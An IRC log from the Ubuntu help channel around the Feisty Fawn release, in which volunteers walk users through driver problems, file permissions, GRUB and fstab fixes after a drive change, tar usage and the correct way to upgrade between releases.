[03:33] <frank227a> I'm using 6.10 ubuntu
[03:33] <blackest> yes
[03:33] <owh> m1r: Hmm, while you have a command line near by, try this: sudo apt-get install libgconf2.4=2.16.0-0ubuntu1)
[03:33] <Shootfast> freez: whats the problem
[03:33] <lakcaj> freez, maybe nobody knows the answer.  Do you want everyone that doesn't know to chime in?
[03:33] <snowpunk98> bruenig, Your saying that only the owner can write to the file?
[03:33] <owh> m1r: Hmm, without the closing bracket :(
[03:34] <bruenig> snowpunk98, I am saying that everyone but the owner can write to it
[03:34] <Anunnaki> Hey guys, does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[03:34] <jrib> frank227a: system > preferences > hardware info   or   'lshw' in a terminal
[03:34] <alterlaszlo> come on freez, what's the problem
[03:34] <owh> jrib: Cool, didn't know about lshw :)
[03:35] <dragonfyre13> hello all.
[03:35] <dragonfyre13> I'm having an issue. Again it seems.
[03:36] <dragonfyre13> Anyone else having one? Maybe we can reciprocate.
[03:36] <snowpunk98> bruenig, I want only root to write to it not everyone but owner
[03:36] <Crazytom> !ask
[03:36] <ubotu> Don't ask to ask a question. Just ask your question :)
[03:36] <NickGarvey> !ask
[03:36] <bruenig> snowpunk98, who owns the file now
[03:36] <NickGarvey> Crazytom: booo
[03:36] <m1r> owh dl em
[03:36] <dragonfyre13> hey Crazytom
[03:36] <dragonfyre13> Seen you here a few times before.
[03:37] <freez> sorry about my attitude but this problem is annoying me since i installed ubuntu on my computer , it wont detect my network adapter (nvidia nforce networking controller) and in nvidia is no driver supported for ubuntu now im really lost
[03:37] <Crazytom> NickGarvey, booo?
[03:37] <owh> m1r: Did you see my other instruction?
[03:37] <NickGarvey> Crazytom: beat me :)
[03:37] <owh> m1r: sudo apt-get install libgconf2.4=2.16.0-0ubuntu1
[03:37] <Shootfast> freez: is it a wired or wireless
[03:37] <snowpunk98> bruenig, how do I check that
[03:37] <bruenig> owh, what is that?
[03:37] <bruenig> snowpunk98, ls -l
[03:37] <snowpunk98> root
[03:37] <freez> no wireless Shootfast
[03:37] <owh> bruenig: What is what?
[03:38] <|Jason8|> hmm.  So I figured out my grub woes.  Now Ubuntu doesn't load
[03:38] <bruenig> snowpunk98, ok in this instance doing "sudo chmod 644 file" not sure how informative that is though for permission changes in the future
[03:38] <dimeotane> anyone know of a page where I can start reading tonight about how to upgrade to the new version when feisty comes out later this week (without totally doing a reformat/reinstall?)
[03:38] <owh> |Jason8|: Same problem.
[03:38] <Crazytom> dragonfyre13, hey, got a question?
[03:38] <owh> |Jason8|: /etc/fstab
[03:38] <|Jason8|> owh, hmm?
[03:38] <dragonfyre13> Well, I have kind of a puzzler. Logging into X seems to take forever (5 minutes at least). It didn't used to take that long, but I've been upgrading since warty, and I think I may have broken more than a few things along the way with my tweaks, and screwy things I did to the machine. Unfortunately, reloading this one isn't an option though. I checked the logs, and I can't find anything out of the ordinary though.
[03:38] <bruenig> owh, you realize it is 2-4 not 2.4 right
[03:39] <owh> |Jason8|: You changed over your drive. The name is changed.
[03:39] <Shootfast> freez did you try the ndiswrapper?
[03:39] <cyberfr0g`> hello
[03:39] <eltopo> Hello
[03:39] <basit> where would i find the kernel source for fiesty?
[03:39] <cyberfr0g`> I'll find out
[03:39] <dragonfyre13> Shortly after it starts xfwm4, it just hangs, running top in the background and all.
[03:39] <eltopo> ok
[03:39] <Crazytom> Shootfast, isn't ndiswrapper for wireless?
[03:39] <Shootfast> basit: in the repo
[03:39] <owh> bruenig: Hmm, sorry, yes. m1r: sudo apt-get install libgconf2-4=2.16.0-0ubuntu1
[03:39] <m1r> owh ; last link cant find package
[03:39] <basit> Shootfast, the only thing i see is linux-2.6.20 source
[03:39] <freez> Shootfast : no i will google on this suggestion thanks
[03:39] <Shootfast> Crazytom: didnt he say it was wireless?
[03:39] <|Jason8|> owh, yeah, I got that sorted out.  Now ubuntu stops loading at the splash screen.  load bar is just... a sliver.
[03:39] <dragonfyre13> there are no processes using any CPU, and it doesn't look like it's hitting the HD hard at all.
[03:40] <basit> is it the same as image 2.6.20-15
[03:40] <freez> Shootfast : its not wireless
[03:40] <Jordan_U> dimeotane, https://help.ubuntu.com/community/FeistyUpgrades#head-9a1590da4277a813d23cbfb262a8c4ed7712508a
[03:40] <owh> |Jason8|: What I'm saying is that after you fixed grub, you now need to update /etc/fstab as well.
[03:40] <Crazytom> Shootfast, it wasn't very clear
[03:40] <m1r> owh wait
[03:40] <freez> i said no wireless Crazytom
[03:40] <m1r> last link ok, one above not
[03:40] <dimeotane> thx jordan
[03:40] <Shootfast> freez: sorry bout that, thought you said, no it isnt wired, its wireles
[03:41] <owh> ROTFL
[03:41] <dragonfyre13> I checked through the syslog, Xorg.0.log, and tailed every log I could think of during the login process, but I can't find anything wierd about it.
[03:41] <freez> Shootfast: no problem
[03:41] <|Jason8|> owh, Okay, but I didn't modify grub.  I just changed cables around until it worked.
[03:41] <owh> |Jason8|: ROTFL
[03:41] <dragonfyre13> any ideas Crazytom?
[03:41] <Shootfast> basit: im not sure
[03:41] <owh> |Jason8|: Yeah, that would work too :)
[03:41] <Crazytom> dragonfyre13, i do wireless....
[03:41] <Jordan_U> |Jason8|, You still probably need to change the root= kernel parameter in GRUB
[03:41] <dragonfyre13> Crazytom: ah. That helps.
[03:41] <|Jason8|> ...
[03:42] <Crazytom> dragonfyre13, not really, i'm afraid....
[03:42] <dragonfyre13> Crazytom: maybe you can tell me if the RT73 driver is working in fiesty yet then.
[03:42] <dragonfyre13> Crazytom: how come? It's just so simple! ^_^
[03:42] <Shootfast> basit: try linux-image
[03:42] <basit> Shootfast, image is not source
[03:42] <m1r> owh :)
[03:43] <snowpunk98> bruenig, OK I did 644 now its rw r r so only the owner can write to it correct?
[03:43] <Crazytom> dragonfyre13, my wired is simple.. i plug it in and at most do a dhclient
[03:43] <m1r> it fixed dependencies :D
[03:43] <bruenig> snowpunk98, right
[03:43] <owh> m1r: See, next time, type slower :)
[03:43] <m1r> many many tnx m8 :)
[03:43] <Jordan_U> |Jason8|, Do you know how to do a chroot?
[03:43] <|Jason8|> I ran recovery,was hanging at usb stuff.
[03:43] <owh> m1r: Happy to help. Don't do it again :)
[03:43] <m1r> owh, tnx for advices and help :)
[03:43] <|Jason8|> maybe if I disable that stuff
[03:43] <dragonfyre13> Crazytom: how about the RT73 driver? That's not simple at all.
[03:43] <m1r> sry i am noob in this :)
[03:44] <m1r> next time i use live cd :)
[03:44] <|Jason8|> Jordan_U, no, can't say I do
[03:44] <owh> m1r: Now, to install ebox, get the source, run ./configure , make, checkinstall and all should be well.
[03:44] <dragonfyre13> So room, any idea on my login issue?
[03:44] <Jordan_U> |Jason8|, why did you move the drive? Did you do anything else?
[03:44] <Crazytom> dragonfyre13, it's it not broadcom and it doesn't just work use ndiswrapper
[03:44] <m1r> owh tnx again :)
[03:44] <dragonfyre13> Crazytom: that is ture.
[03:44] <dragonfyre13> Crazytom: true*
[03:44] <owh> m1r: The checkinstall is instead of the make install part, it creates a .deb file, which you can then uninstall properly :)
[03:44] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[03:44] <|Jason8|> Jordan_U, new motherboard
[03:45] <Crazytom> i have some buffalo cards that i believe are prism chipsets and they work if you just plug them in
[03:45] <snowpunk98> bruenig, ty
[03:45] <dragonfyre13> Crazytom: unfortunately, for a clean freak like me on my lappy, I can't use binary blobs. There's an RT73 driver out there that works fine in edgy, just wondered if it worked in fiesty yet. I maintain a thread on a particularly difficult laptop on the forums.
[03:45] <m1r> owh ty very much for help :)
[03:45] <owh> m1r: Pleasure.
[03:45] <dimeotane> ooh this is cool... so if I upgrade my edgy tonight.. will I have feisty now?  or will it be a different version on thursday? himmm curious
[03:45] <m1r> but i leave that for tomorow test :)
[03:46] <m1r> owh, got mail ?
[03:46] <urbanp00r> question: i am planning to share my connection wirelessly and want's to give each user only one hour to use it for fair use. how can i implement this?
[03:46] <Jordan_U> |Jason8|, There are two ways you can do this, one is fairly easy but needs a LiveCD, the other requires nothing more than you currently have but will take some trial and error.
[03:46] <owh> m1r: onno@itmaze.com.au
[03:46] <ryeth> does anybody know what this means?
[03:46] <ryeth> ruid=1000, euid=1000
[03:46] <ryeth> ++priv_drop_count = 1
[03:46] <m1r> ty m8 ;)
[03:46] <WaxyFresh> anyone know the percent of windows to linux to mac users there are?or a total number of linux users?just a educated gusse is all i need
[03:46] <Crazytom> dragonfyre13, they you are far more competent than i my friend
[03:46] <m1r> australia ?
[03:46] <owh> m1r: Yup: http://itmaze.com.au/locations/
[03:47] <m1r> :) nice to meet u :)
[03:47] <dragonfyre13> Crazytom: that's debatable. I think I have a sickness. Ubuntuitis.
[03:47] <Jordan_U> ryeth, Where is that from?
[03:47] <ryeth> well, windows is by far the most popular, but i don't know what the ratio is
[03:47] <ryeth> from the terminal
[03:47] <|Jason8|> Jordan_U, does it have to be an ubuntu liveCD?  I have a Damn Small LiveCD.  And yeah, disabled on chip USB, and everything loads through, now it can't find the root file system
[03:47] <ryeth> i typed   "man -d"
[03:47] <ryeth> and that was the beginning of it
[03:47] <Anunnaki> WaxyFresh, http://counter.li.org/estimates.php
[03:47] <Anunnaki> google is your friend
[03:47] <owh> ryeth: That would be the debug flag :)
[03:47] <ryeth>  i don't know what ruid and euid and the rest of it stands for
[03:48] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[03:48] <owh> ryeth: Try man man
[03:48] <ryeth> ok
[03:48] <Jordan_U> |Jason8|, DSL is fine, not finding the root FS is perfectly normal and is what I am going to guide you through fixing
[03:48] <darwin> Is there a good, free program for learning touch typing?
[03:48] <ryeth> it's a manual of a manual?
[03:48] <chowmeined> I have a Canon Pixma IP3000 and I want to get it to print pictures (its a photo printer after all) The driver suggested on the printing database is BJC7000 but with that it only prints text.. pictures are very distorted and the colors dont come out right.. I tried some of the drivers from Canon Japan but the printer quits printing... have any of you gotten this printer to work?
[03:48] <dimeotane> does anyone know about upgrading dapper to edgy or feisty?
[03:49] <urbanp00r> re:question: i am planning to share my connection wirelessly and want's to give each user only one hour to use it for fair use. how can i implement this?
[03:49] <dragonfyre13> So, any ideas room? Logging into X through GDM seems to take forever (5 minutes at least). I checked the logs, and I can't find anything out of the ordinary though. I checked the processes running through on login, but none of them are taking any CPU besides top (as I'm running it) and I can't see any major HD activity (through the little blinky light on the front of the box.
[03:49] <craigbass1976> Want to hear a joke?  This guy was playing torcs, and when he shut it down, there was this low grumble.  Thinking it was some sound glitch, he restarted alsa to see if that fixed it.  It didn't, so he rebooted.  The sound continued even when the computer shut down.  Turns out that his power has been off for a couple days.
[03:49] <craigbass1976> He was hearing the generator.
[03:49] <|Jason8|> Jordan_U, okay, cool :)   Would it be easier to do this in a Query or not?  I'm fine hanging in here :)
[03:49] <Anunnaki> i don't get it
[03:49] <urbanp00r> dimeotane: update your sources.list all dapper to edgy
[03:49] <craigbass1976> Thought you'd all get a kick out of that
[03:49] <urbanp00r> dimeotane: and apt-get update
[03:49] <dragonfyre13> urbanp00r: never, ever suggest that.
[03:49] <dragonfyre13> that's just evil
[03:50] <Jordan_U> |Jason8|, here is probably better so you can get input from others
[03:50] <dragonfyre13> urbanp00r: sorry, but I borked, and saw borked way to many installs doing that.
[03:50] <dragonfyre13> urbanp00r: dimeotane hang on, I'll grab the official method.
[03:50] <urbanp00r> dragonfyre13 y?: how so.. im sorry i didnt no.
[03:50] <|Jason8|> Jordan_U, sounds good. I got DSL booted, just working on finding a mouse... usb killed mine.
[03:50] <urbanp00r> dragonfyre13 y?: how so.. im sorry i didnt know.
[03:50] <MrChips> problem: KDM no longer allows me to log in, it bounces me back.  So I went to try startx instead, it boots up grey xwindows but only the mouse, keyboard dies completely.
[03:51] <dragonfyre13> urbanp00r: that's alright, that's why I said something. Don't feel bad.
[03:51] <MrChips> this happened after I did a few library updates
[03:51] <Jordan_U> |Jason8|, You don't need a mouse, it's all terminal stuff anyways
[03:51] <Crescendo> I'm looking at system monitor, and I see that my "used swap" is 0 bytes of 0 bytes.  How can I enable swap?
[03:51] <MrChips> is there a way in apt/adept to track which was the last install?
[03:51] <dragonfyre13> urbanp00r: it does some screwy things during the upgrade that break if you do it that way.
[03:51] <n00bie> hello folks
[03:51] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[03:51] <soweto76> draconius, Have you also a link for Edgy to Feisty?
[03:51] <frank227a> Anyone know the command to compress a directory and those under it into an archive?
[03:52] <soweto76> dragonfyre13, Have you also a link for Edgy to Feisty?
[03:52] <urbanp00r> dragonfyre13: ahh.. ok.. i have just used that to my dapper..
[03:52] <GionnyBoss> frank227a: man tar
[03:52] <Jordan_U> soweto76, https://help.ubuntu.com/community/FeistyUpgrades#head-9a1590da4277a813d23cbfb262a8c4ed7712508a
[03:52] <thepumpkin1979> ???
[03:52] <|Jason8|> heh
[03:52] <Anunnaki> whoa
[03:52] <NickGarvey> !netslpit
[03:52] <ubotu> Sorry, I don't know anything about netslpit - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[03:52] <n00bie> My direct rendering is disabled while my xorg.conf is configured correctly using load dri module and composit extensions is false
[03:52] <|Jason8|> netsplit
[03:52] <NickGarvey> !netsplit
[03:52] <ubotu> netsplit is when two IRC servers of the same network (like Freenode) disconnect from each other, so users on one server stop seeing users on the other. If this is happening now, just relax and enjoy the show. See http://en.wikipedia.org/wiki/Netsplit
[03:52] <Crescendo> !netsplit
[03:52] <thepumpkin1979> hahahahahaha
[03:52] <dragonfyre13> that was interesting.
[03:53] <soweto76> Jordan_U, 10q
[03:53] <thepumpkin1979> so funy.
[03:53] <Crescendo> I'm looking at system monitor, and I see that my "used swap" is 0 bytes of 0 bytes.  How can I enable swap?
[03:53] <n00bie> but still direct rendering no
[03:53] <dragonfyre13> you still there urbanp00r?
[03:53] <thepumpkin1979> i'm newbie in IRC.
[03:53] <urbanp00r> dragonfyre13: yes
[03:53] <dragonfyre13> urbanp00r: dimeotane: gksu ?update-manager -c?
[03:53] <urbanp00r> a netsplit
[03:53] <dragonfyre13> urbanp00r: dimeotane: for dapper to edgy.
[03:54] <dragonfyre13> urbanp00r: dimeotane: gksu ?update-manager -c -d"
[03:54] <urbanp00r> dragonfyre13: so thats the best method
[03:54] <dragonfyre13> urbanp00r: dimeotane: gksu "update-manager -c"
[03:54] <Flannel> dragonfyre13, urbanp00r, -d isn't for dapper to edgy.  Just -c
[03:54] <|Jason8|> Jordan_U, I'm set.
[03:54] <dragonfyre13> urbanp00r: dimeotane: sorry, that's the correct one.
[03:54] <dragonfyre13> urbanp00r: dimeotane: gksu ?update-manager -c -d"
[03:54] <dragonfyre13> arrrggghhh
[03:54] <dragonfyre13> urbanp00r: dimeotane: gksu "update-manager -c -d"
[03:54] <dragonfyre13> for fiesty
[03:54] <dragonfyre13> urbanp00r: dimeotane: gksu "update-manager -c"
[03:55] <dragonfyre13> for edgy
[03:55] <dragonfyre13> there.
[03:55] <Jordan_U> |Jason8|, First you need to find out where your root drive is, run: sudo fdisk -l
[03:55] <dragonfyre13> urbanp00r: dimeotane: it was hating my use of the backticks to much.
[03:56] <hanasaki> would someone give me a handwith iptables?  my nfs tcp is being blocked.. i can paste it to pastebin
[03:56] <Leon> !vesa
[03:56] <ubotu> vesa is the default video driver if X can't find a better one. Also see !x
[03:56] <|Jason8|> Jordan_U, Okay.  it's hdd1
[03:56] <dragonfyre13> urbanp00r: dimeotane: so are you two understanding what I said, or should I redo it without all the messups?
[03:56] <Leon> !x
[03:56] <ubotu> The X Window System is the part of your system that's responsible for graphical output. To restart your X, type  sudo /etc/init.d/?dm restart  in a console - To fix screen resolution or other X problems: http://help.ubuntu.com/community/FixVideoResolutionHowto
[03:57] <urbanp00r> dragonfyre13: understood if -c is for edgy and -d is for dapper
[03:57] <urbanp00r> dragonfyre13: is that so?
[03:57] <|Jason8|> Jordan_U, it was hdb1 before, now it's hdd1.  Now what do I have to do?
[03:57] <Jordan_U> |Jason8|, Ok, now we need to make a mount point for it and mount it: sudo mkdir /chroot && sudo mount /dev/hdd1 /chroot
[03:57] <frank227a> Should tar be putting junk in the terminal window?
[03:57] <|Jason8|> k
[03:57] <frank227a> tar -c evolution ~/.evolution
[03:57] <frank227a> that isn't correct?
[03:58] <wastrel> "ubunto"
[03:58] <|Jason8|> Jordan_U, Done.
[03:58] <wastrel> frank227a:  tar -cf file.tar directory/
[03:58] <cables> !logs
[03:58] <ubotu> Channel logs can be found at http://people.ubuntu.com/~fabbione/irclogs
[03:59] <Jordan_U> |Jason8|, Now you actually have two choices, you now have enough info to boot your main install, you can also and fix things like USB, or you can continue working in the LiveCD
[03:59] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[03:59] <dragonfyre13> urbanp00r: dimeotane: sorry, stepped out for a sec.
[03:59] <|Jason8|> Jordan_U, I'd like to boot into ubuntu.  That's where all my stuff is.
[04:00] <dragonfyre13> urbanp00r: dimeotane: -c is for edgy, -c -d is for fiesty
[04:00] <|Jason8|> Jordan_U, can I just reboot then?
[04:00] <Jordan_U> |Jason8|, No.
[04:00] <|Jason8|> Okay.
[04:00] <dragonfyre13> urbanp00r: dimeotane: -c is to upgrade the distro version, and -d means going to a beta or "development" status.
[04:01] <frank227a> wastrel: Thank you.
[04:01] <Jordan_U> |Jason8|, When you boot you will see a menu entry for Ubuntu, if you don't ( if you don't dual boot ) press escape to see it
[04:01] <urbanp00r> dragonfyre13: thanks.. mine now is dapper converted to edgy using my "not so t standard" method.. i will update it to feisty once it gets stable
[04:01] <Jordan_U> |Jason8|, When you see the menu in GRUB press "e" to edit it
[04:01] <|Jason8|> Jordan_U, could you repeat that?  The client I'm using doesn't scroll up :/
[04:01] <instabin> did the network just split?
[04:01] <|Jason8|> Okay.
[04:01] <urbanp00r> dragonfyre13: still there?
[04:02] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[04:02] <Flannel> instabin: just un-split
[04:02] <Jordan_U> |Jason8|, When you boot you will see a menu entry for Ubuntu in GRUB, if you don't ( if you don't dual boot ) press escape to see it
[04:02] <Jordan_U> |Jason8|, When you see the menu in GRUB press "e"
[04:02] <dimeotane> what happened.... netspit or something?
[04:02] <dimeotane> net-split I mean
[04:02] <Shootfast> Anyone know anything about installing Yaird onto a fresh edgy install to fix initrd
[04:02] <urbanp00r> dragonfyre13: do you know any method of how can i limit the number of users connecting and how much time should they spend?
[04:03] <urbanp00r> dimeotane: yes
[04:03] <Anunnaki> Does anyone know how to switch which monitor you want to be the primary if you have multiple hooked up? (Such as a monitor hooked up to a laptop.)
[04:03] <|Jason8|> Jordan_U, Okay.  there.
[04:03] <Jordan_U> |Jason8|, Now look at the kernel parameters and where it says root=/dev/sda ( or whatever it was ) change it to root=/dev/hdd1
[04:03] <dimeotane> anyone know if there's an  upgrade from dapper to feisty? or is it just from edgy to feisty?
[04:03] <urbanp00r> Anunnaki: it is available in the bios setting that i know of
[04:03] <fiery_cleric> Anunnaki: usually there is a key on the laptop to change the monitor output
[04:03] <jrib> dimeotane: dapper -> edger -> feisty
[04:03] <wastrel> dimeotane:  dapper->edgy->feisty
[04:04] <Jordan_U> dimeotane, You must upgrade to Edgy then Feisty
[04:04] <wastrel> you're stepping on my lines
[04:04] <jrib> wastrel: well you spelled it right :)
[04:04] <urbanp00r> dimeotane: if i understand it correctly you should go dapper-edgy then edgy -feisty
[04:04] <alterlaszlo> Anunnaki, what's your video card?
[04:04] <HYPOCRISY> tell me
[04:04] <|Jason8|> Jordan_U, I see that, but I can't edit it.  When I go to the kernel line and hit "e", it just shows "quiet splash" which is in the line....
[04:04] <jrib> HYPOCRISY: tell you what?
[04:05] <Flannel> dimeotane, urbanp00r, that's correct.  You have to upgrade one release at a time
[04:05] <Jordan_U> |Jason8|, You should be able to scroll to the left
[04:05] <Flannel> oh hey.  I'll shut up now
[04:05] <sniper298> has anyone ever tried source mague
[04:05] <alterlaszlo> mague?
[04:05] <fiery_cleric> !mague
[04:05] <ubotu> Sorry, I don't know anything about mague - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:05] <sniper298> mge
[04:05] <Shootfast> !initrd
[04:05] <ubotu> Sorry, I don't know anything about initrd - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:05] <fiery_cleric> !mge
[04:05] <ubotu> Sorry, I don't know anything about mge - try searching on http://bots.ubuntulinux.nl/factoids.cgi
[04:05] <sniper298> source mage
[04:05] <|Jason8|> Jordan_U, thanks :)
[04:05] <thefirstdude> how to setup nvidia drivers on kubuntu?
[04:06] <|Jason8|> Jordan_U, Am I set to boot now?
[04:06] <pronco_> My direct rendering is disabled while my xorg.conf is configured correctly using load dri module and composit extensions is false
[04:06] <pronco_> how do I enable dri with fglrx driver in ubuntu ?
[04:06] <pronco_> Xorg uses incorrect render with fglrx driver
[04:06] <Jordan_U> |Jason8|, Yes, that change is only for this boot though, you will need to make it permanent after boot
[04:06] <Shootfast> thefirstdude: sudo apt-get install nvidia-glx
[04:06] <Jordan_U> pronco_, Edgy?
[04:06] <sn0w> im having some trouble playing an hd file in feisty
[04:07] <sn0w> its a .ts extension, and the video is all crazy
[04:07] <|Jason8|> Jordan_U, hmm... still hangs...
[04:07] <Anunnaki> alterlaszlo, Mobil Intel(R) 915GM/GMS,910GML Express Chip Family
[04:07] <Anunnaki> integrated
[04:07] <regress> is there an irc channel to go to to get support for gnumeric?
[04:07] <wastrel> pronco_:  diiiiiid you follow the guide on the wikipage?
[04:07] <wastrel> gnumeric <3
[04:07] <PureRumbl1> I've been up all night trying to setup tomcat. I think I've done it now. Can someone please test my link? http://localhost:46042/ thx
[04:07] <fiery_cleric> regress: ask your question
[04:07] <fiery_cleric> !ask
[04:07] <ubotu> Don't ask to ask a question. Just ask your question :)
[04:08] <regress> I know I know, just wasn't sure this was the place ;)
[04:08] <Transience> doesn't work for me
[04:08] <Transience> sorry
[04:08] <Jordan_U> |Jason8|, Does it get past mounting root file system?
[04:08] <fiery_cleric> regress: if its in ubuntu you can ask
[04:08] <Shootfast> anyone know if its possible to fix an initrd image from a live cd?
[04:08] <pronco_> Jordan_U, yeah
[04:08] <pronco_> wastrel, no
[04:08] <pronco_> wastrel, give me the link
[04:08] <PureRumbl1> Can someone please test my link? http://localhost:46042/ thx
[04:08] <corbin_> hello
[04:09] <wastrel> regress:  irc.gnome.org #gnumeric
[04:09] <regress> anyway, I have two columns, left with text and right with numbers...I would like to be able to add up all the numbers in the right column if the column directly to the left of it contains two strings anywhere in it
[04:09] <|Jason8|> Jordan_U, just restarted and tried it again, now it's loading.
[04:09] <corbin_> i am using wlassistant
[04:09] <corbin_> and i want to make that the defualt wifi program how do i do that
[04:09] <PureRumbl1> what am I writing?
[04:09] <wastrel> pronco_:  https://help.ubuntu.com/community/BinaryDriverHowto/ATI
[04:09] <blazer341> I can't wait, I can't wait, I can't wait until Thursday!!!! Ubuntu 7.04, yeah baby!
[04:09] <pronco_> wastrel, wiki link to follow ?
[04:09] <yell0w> PureRumbl1, you might wanna check back what localhost is
[04:09] <PureRumbl1> Sorry, Im so tired right now
[04:09] <Jordan_U> pronco_, https://help.ubuntu.com/community/BinaryDriverHowto/ATI go to the step that starts with "ATI are well known not to be able to provide correct drivers for their hardware..."
[04:09] <GionnyBoss> PureRumbl1: what are you asking? it's a weird question... how can we check YOUR link on localhost?
[04:09] <pronco_> Jordan_U, yeah I'm using Edgy
[04:09] <PureRumbl1> yell0w: Sorry my man, sorry
[04:09] <Kevin> hello, i need help connecting to the internet on a fresh install, I configured the networking properties to work with my router and I set the dns server addresses, I still cannot connect
[04:09] <fiery_cleric> regress: what are u trying to achieve
[04:09] <fiery_cleric> ?
[04:09] <Clujo> I have dapper- cant play avi files or mid with totem.  how to get plugins?
[04:10] <PureRumbl1> Just some faulty copy-edit... sory people. I've been up couple of hours trying to make it work
[04:10] <|Jason8|> gah, xserver doesn't like this integrated stuff.
[04:10] <blazer341> Clujo: easyubuntu
[04:10] <wastrel> Kevin:  do you have dhcp?  your dns addresses should be handled by the DHCP server, maybe that is the problem
[04:10] <Clujo> what.  install a new version of os?
[04:10] <Jordan_U> !codecs | Clujo
[04:10] <ubotu> Clujo: For multimedia issues, this page has useful information: https://help.ubuntu.com/community/RestrictedFormats - See also http://help.ubuntu.com/ubuntu/desktopguide/C/common-tasks-chap.html - But please use free formats if you can: https://help.ubuntu.com/community/FreeFormats
[04:10] <PureRumbl1> Here we go. Sorry about the last one. I missed my error. Here it is http://81.170.138.232:46042/
[04:10] <Clujo> thanks, Jordan_U
[04:10] <fiery_cleric> regress: so u have some rows in those columns that dont have text?
[04:11] <alterlaszlo> and tell me which is the driver xorg is using for your video card
[04:11] <hflappy> does ubuntu have a somekind of default firewall set somewhere after installin?
[04:11] <Kevin> wastrel, I have static IP, I set the dns servers by hand
[04:11] <wehttamb> does anyone know what will be the next version of ubuntu after feisty
[04:11] <wastrel> Kevin:  oic yes indeed.
[04:11] <ferret_0568> What Intel C2D motherboard should I get? I'm using Feisty
[04:11] <yell0w> !gutsy
[04:11] <ubotu> Gutsy Gibbon is the code name for the next release of Ubuntu (7.10). See https://lists.ubuntu.com/archives/ubuntu-devel-announce/2007-April/000276.html and https://wiki.ubuntu.com/GutsyReleaseSchedule
[04:11] <wastrel> Kevin:  so, can you ping the router?
[04:11] <blazer341> clujo: http://easyubuntu.freecontrib.org/
[04:11] <PureRumbl1> Could anyone please test my tomcat-server? http://81.170.138.232:46042/
[04:11] <regress> the column on the left has quite a bit of variations in text, but mostly a car model and color. Problem is, the "same colors" aren't all the same (onyx black vs. raven black). So I want to autosum all of the columns on the left which have both "Camry CE' and "Black", for example, or "Camry SE" and "Blue"
[04:11] <PureRumbl1> I wanna sleep :-(
[04:12] <fiery_cleric> PureRumbl1: i can access it
[04:12] <PureRumbl1> JIIIIIIIIIIIIIIIIIIIIIIIHAAAAAAAAAAAAAAAAA
[04:12] <PureRumbl1> Oh god Im so happy!
[04:12] <Kevin> wastrel, I cannot reach the router
[04:12] <Clujo> thanks, blazer341
[04:12] <corbin_> i am using wlassistant
[04:12] <blazer341> no problem, I have used it with no issues.
[04:12] <corbin_> and i want to make that the defualt wifi program how do i do that
[04:12] <CountDown> owh: Turns out that the bash terminal was confused about which directory it was in and displayed the wrong directory name in the shell.  Changing directories into a subdirectory and then going back put it back in the correct directory.  Still, this seems like a bug, hopefully one that I won't reproduce.
[04:13] <Jordan_U> |Jason8|, Did it boot?
[04:13] <|Jason8|> Jordan_U, I have a command line. Can I get this boot thing permenant?
[04:13] <ferret_0568> Anything with Edgy+ compatibilty is fine
[04:13] <wastrel> Kevin:  does ifconfig show your IP address?
[04:13] <blazer341> !edgy
[04:13] <ubotu> Ubuntu 6.10 (Edgy Eft) is the latest version of Ubuntu. Upgrading to Edgy: https://help.ubuntu.com/community/EdgyUpgrades - Downloading: http://www.ubuntu.com/download - Release Notes: https://wiki.ubuntu.com/EdgyReleaseNotes
[04:13] <regress> fiery_cleric: http://rafb.net/p/PfkLkM41.html
[04:13] <blazer341> !feisty
[04:13] <ubotu> The next version of Ubuntu (7.04; codenamed "Feisty Fawn") should be released in April 2007. Beta is out! http://www.ubuntu.com/news/Ubuntu704Beta Schedule: !schedule - Specifications (goals): https://features.launchpad.net/distros/ubuntu/feisty - Help and support in #ubuntu+1 (NOT #ubuntu)
[04:13] <Jordan_U> |Jason8|, Yes, run: sudo update-grub
[04:13] <|Jason8|> Jordan_U, xserver doesn't like the integrated video card.  I still have to put my other one in.
[04:13] <|Jason8|> k
[04:13] <ferret_0568> There is more people in here than in #ubuntu+1
[04:13] <regress> as you can see, the data is quite noisy
[04:13] <PureRumbl1> fiery_cleric: Just to give you a laugh. Wanna know why I've been up for so long? I configured tomcat to listen on port 46062, but I opened 46042 by mistake on my router!!!! The rest of the night I spent googling trying to find out why it didnt wanna work!?!
[04:13] <blazer341> !schedule
[04:13] <ubotu> Ubuntu releases a new version every 6 months. Each version is supported for 18 months to 5 years. More info at http://www.ubuntu.com/ubuntu/releases & http://wiki.ubuntu.com/TimeBasedReleases
[04:13] <|Jason8|> Jordan_U, done.
[04:14] <Kevin> wastrel, yes it does, under eth0
[04:14] <corbin_> i am using wlassistant
[04:14] <corbin_> and i want to make that the defualt wifi program how do i do that
[04:14] <fiery_cleric> PureRumbl1: thats always the way....
[04:14] <blazer341> PureRuml1: Sounds familiar, been there done that
[04:14] <Jordan_U> |Jason8|, Then I think you should basically reconfigure everything ( much easier than that sounds ) to prevent any hardware conflics by running: sudo dpkg-reconfigure -a -phigh
[04:14] <hflappy> anyone know if ubuntu has a defualt firewall set after installing it?
[04:14] <Flannel> !firewall | hflappy
[04:14] <ubotu> hflappy: Ubuntu, like any other linux distribution, has firewall capabilities built-in. The firewall is managed using the 'iptables' command (see https://help.ubuntu.com/community/IptablesHowTo), or GUI applications such as Firestarter (Gnome) or Guarddog (KDE).
[04:14] <Flannel> hflappy: but, there are no rules by default
[04:15] <wastrel> Kevin:  is this wifi?
[04:15] <wastrel> ah nvm eth0
[04:15] <Jordan_U> |Jason8|, That should fix your GFX card as well
[04:15] <fiery_cleric> regress: so there are 2 columns .... so u want to sum the 2nd column?
[04:15] <PureRumbl1> fiery_cleric: But it made me crazily mad when it happened, buuuhuuuu :-(
[04:15] <Kevin> wastrel no
[04:15] <hflappy> kk
[04:15] <wastrel> Kevin:  so is the network cable connected properly?  link lights?  :]   just to make sure
[04:15] <|Jason8|> Jordan_U, okay
